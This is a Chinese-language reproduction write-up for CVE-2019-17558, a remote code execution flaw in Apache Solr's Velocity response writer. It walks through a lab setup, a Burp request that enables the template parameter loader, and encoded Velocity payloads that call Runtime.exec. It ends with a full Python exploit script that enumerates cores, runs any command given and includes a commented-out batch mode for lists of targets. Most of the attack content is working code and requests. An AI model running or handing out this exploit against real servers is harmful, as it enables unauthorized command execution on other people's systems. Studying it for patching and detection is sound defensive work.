# CVE-2019-17558 Apache Solr 代码注入漏洞
## 一、漏洞简介
Apache Solr 5.0.0版本至8.3.1版本中存在代码注入漏洞。攻击者通过未授权访问solr服务器，发送特定的数据包开启params.resource.loader.enabled，然后get访问接口导致服务器命令执行，命令回显结果在response
## 二、漏洞影响
Apache Solr 5.0.0版本至8.3.1
## 三、复现过程
**环境搭建**
```
https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/solr-7.7.2.zip
```
velocity.solr.resource.loader.enabled:true
```bash
/opt/solr-7.7.2/example/example-DIH/solr/atom/conf/solrconfig.xml
root@kali:/opt/solr-7.7.2/example/example-DIH/solr/atom/conf# cat solrconfig.xml | grep enable
<enableLazyFieldLoading>true</enableLazyFieldLoading>
<str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:false}</str>
<str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:false}</str>
root@kali:/opt/solr-7.7.2/example/example-DIH/solr/atom/conf#
```
开启dih 示例
```bash
./solr -e dih -force
root@kali:/opt/solr-7.7.2/bin# ./solr -e dih -force
*** [WARN] *** Your open file limit is currently 1024.
It should be set to 65000 to avoid operational disruption.
If you no longer wish to see this warning, set SOLR_ULIMIT_CHECKS to false in your profile or solr.in.sh
Starting up Solr on port 8983 using command:
"/opt/solr-7.7.2/bin/solr" start -p 8983 -s "/opt/solr-7.7.2/example/example-DIH/solr" -force
Waiting up to 180 seconds to see Solr running on port 8983 [\]
Started Solr server on port 8983 (pid=20222). Happy searching!
Solr dih example launched successfully. Direct your Web browser to http://localhost:8983/solr to visit the Solr Admin UI
root@kali:/opt/solr-7.7.2/bin#
```
浏览器访问
http://10.10.20.166:8983/solr/#/
到此，漏洞环境搭建完成。
### 漏洞复现
用户在打开网站时候，再burpsuite里面会发现一个接口，可以获取所有core name的名称，方便后续遍历core name，拼接字符串,依次检测漏洞
```
http://url:8983/solr/admin/cores?_=1572594549070&indexInfo=false&wt=json
```
简写为
```json
http://url:8983/solr/admin/cores?indexInfo=false&wt=json
{
"responseHeader": {
"status": 0,
"QTime": 3
},
"initFailures": {},
"status": {
"atom": {
"name": "atom",
"instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/atom",
"dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/atom/data/",
"config": "solrconfig.xml",
"schema": "managed-schema",
"startTime": "2019-11-01T07:47:08.216Z",
"uptime": 107753
},
"db": {
"name": "db",
"instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/db",
"dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/db/data/",
"config": "solrconfig.xml",
"schema": "managed-schema",
"startTime": "2019-11-01T07:47:09.224Z",
"uptime": 106745
},
"mail": {
"name": "mail",
"instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/mail",
"dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/mail/data/",
"config": "solrconfig.xml",
"schema": "managed-schema",
"startTime": "2019-11-01T07:47:06.695Z",
"uptime": 109273
},
"solr": {
"name": "solr",
"instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/solr",
"dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/solr/data/",
"config": "solrconfig.xml",
"schema": "managed-schema",
"startTime": "2019-11-01T07:47:06.702Z",
"uptime": 109267
},
"tika": {
"name": "tika",
"instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/tika",
"dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/tika/data/",
"config": "solrconfig.xml",
"schema": "managed-schema",
"startTime": "2019-11-01T07:47:03.493Z",
"uptime": 112475
}
}
}
```
利用Burpsuite 发包 ,开启`params.resource.loader.enabled`
`params.resource.loader.enabled 默认是false`
由于我们修改的atom目录下的配置文件，所以我们只能拿这个存在配置缺陷的接口来攻击
```
http://url:8983/solr/atom/config
```
**BurpSuite request**
```bash
POST /solr/atom/config HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 259
Connection: close
Upgrade-Insecure-Requests: 1
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
```
BurpSuite response
```bash
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json;charset=utf-8
Content-Length: 149
{
"responseHeader":{
"status":0,
"QTime":554},
"WARNING":"This response format is experimental. It is likely to change in the future."}
```
开启后，直接Get 访问（带入表达式）进行 远程代码命令执行
```
http://url:8983/solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
```
ssit
```
http://url:8983/solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=
#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
```
注意到 状态码是400，而不是200，出现500的情况可能是 异常报错。
**poc**
usage
```
python solr_rce.py http://url:8983 command
```
```python
#coding=utf-8
import requests
import sys
import json
banner = '''
_ _____ _ _____ _____ ______
/\ | | / ____| | | | __ \ / ____| ____|
/ \ _ __ __ _ ___| |__ ___ | (___ ___ | |_ __ | |__) | | | |__
/ /\ \ | '_ \ / _` |/ __| '_ \ / _ \ \___ \ / _ \| | '__| | _ /| | | __|
/ ____ \| |_) | (_| | (__| | | | __/ ____) | (_) | | | | | \ \| |____| |____
/_/ \_\ .__/ \__,_|\___|_| |_|\___| |_____/ \___/|_|_| |_| \_\\_____|______|
| |
|_|
Apache Solr Velocity模板远程代码执行
2019-10-30 17:30
python By Jas502n
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
'''
print banner
def get_code_name(url):
if url[-1] == '/':
url = url[:-1].split('\n')[0]
else:
url = url.split('\n')[0]
core_url = url + '/solr/admin/cores?indexInfo=false&wt=json'
print '[+] Querying Core Name: '+core_url,'\n'
proxies = {"http":"http://127.0.0.1:8080"}
try:
# r = requests.get(core_url,proxies=proxies)
r = requests.get(core_url)
if r.status_code == 200 and 'responseHeader' in r.content and 'status' in r.content:
json_str = json.loads(r.content)
for i in json_str['status']:
core_name_url = url + '/solr/' + i + '/config'
print core_name_url
update_queryresponsewriter(core_name_url)
else:
print "No core name exit!"
except:
pass
def update_queryresponsewriter(core_name_url):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'Content-Length': '259',
'Connection': 'close'
}
payload = '''
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}'''
proxies = {"http":"http://127.0.0.1:8080"}
r = requests.post(core_name_url,headers=headers,data=payload)
# r = requests.post(core_name_url,headers=headers,data=payload,proxies=proxies)
if r.status_code == 200 and 'responseHeader' in r.content:
print "[+] maybe enable Successful!"
exp_url = core_name_url[:-7]
cmd = 'whoami'
cmd = sys.argv[2]
send_exp(exp_url,cmd)
else:
print "[+] Enable Fail!\n"
def send_exp(exp_url,cmd):
exp_url = exp_url + r"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + cmd + r"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
proxies = {"http":"http://127.0.0.1:8080"}
r = requests.get(exp_url)
# r = requests.get(exp_url,proxies=proxies)
if r.status_code == 400 or r.status_code == 500 or r.status_code ==200 and len(r.content) >0:
print ">>> [+] Exp Send Successful! <<<"
print "____________________________________________________________"
print '\n',exp_url,'\n'
print '>>>>>>>\n',r.content
else:
print "[+] EXP No Send Successful!\n"
if __name__ == '__main__':
if len(sys.argv) != 3:
sys.exit("\n [+] Usage: python %s http://x.x.x.x:8983 command\n" % sys.argv[0])
else:
# url = "http://192.168.5.86:8983"
url = sys.argv[1]
get_code_name(url)
# 批量
# f = open('url.txt','rb')
# for i in f.readlines():
# url = i.split('\r\n')[0]
# get_code_name(url)
```
参考链接
https://github.com/jas502n/solr_rce